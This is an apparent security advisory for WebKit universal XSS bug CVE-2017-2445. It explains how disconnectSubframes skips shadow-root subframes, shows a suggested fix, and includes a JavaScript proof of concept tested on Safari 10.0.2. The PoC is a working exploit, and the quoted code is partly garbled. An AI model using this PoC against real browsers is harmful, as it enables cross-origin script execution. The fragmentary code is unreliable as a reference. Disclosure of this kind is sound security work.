Apple WebKit: UXSS via disconnectSubframes (CVE-2017-2445)

ID SSV:92880
Type seebug
Reporter Root
Modified 2017-04-04T00:00:00


When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).

Here is a snippet of |disconnectSubframes|.

``` void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy) { ... Vector<Ref<HTMLFrameOwnerElement>> frameOwners;

if (policy == RootAndDescendants) {
    if (is&lt;HTMLFrameOwnerElement&gt;(root))

collectFrameOwners(frameOwners, root);

// Must disable frame loading in the subtree so an unload handler cannot
// insert more frames and create loaded frames in detached subtrees.
SubframeLoadingDisabler disabler(root);

bool isFirst = true;
for (auto& owner : frameOwners) {
    // Don't need to traverse up the tree for the first owner since no
    // script could have moved it.
    if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
    isFirst = false;


The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.

It should be like:

collectFrameOwners(frameOwners, root);

if (is&lt;Element&gt;(root)) {
    Element& element = downcast&lt;Element&gt;(root);
    if (ShadowRoot* shadowRoot = element.shadowRoot())
        collectFrameOwners(frameOwners, *shadowRoot);

PoC: var d = document.body.appendChild(document.createElement("div")); var s = d.attachShadow({mode: "open"});

var f = s.appendChild(document.createElement("iframe"));

f.onload = () => { f.onload = null;

f.src = "javascript:alert(location)";

var xml = `

<svg xmlns=""> <script> document.documentElement.appendChild(parent.d);

</sc+ript> <element a="1" a="2" /> </svg>`;

var v = document.body.appendChild(document.createElement("iframe"));
v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));


f.src = ""; ``` Tested on Safari 10.0.2(12602.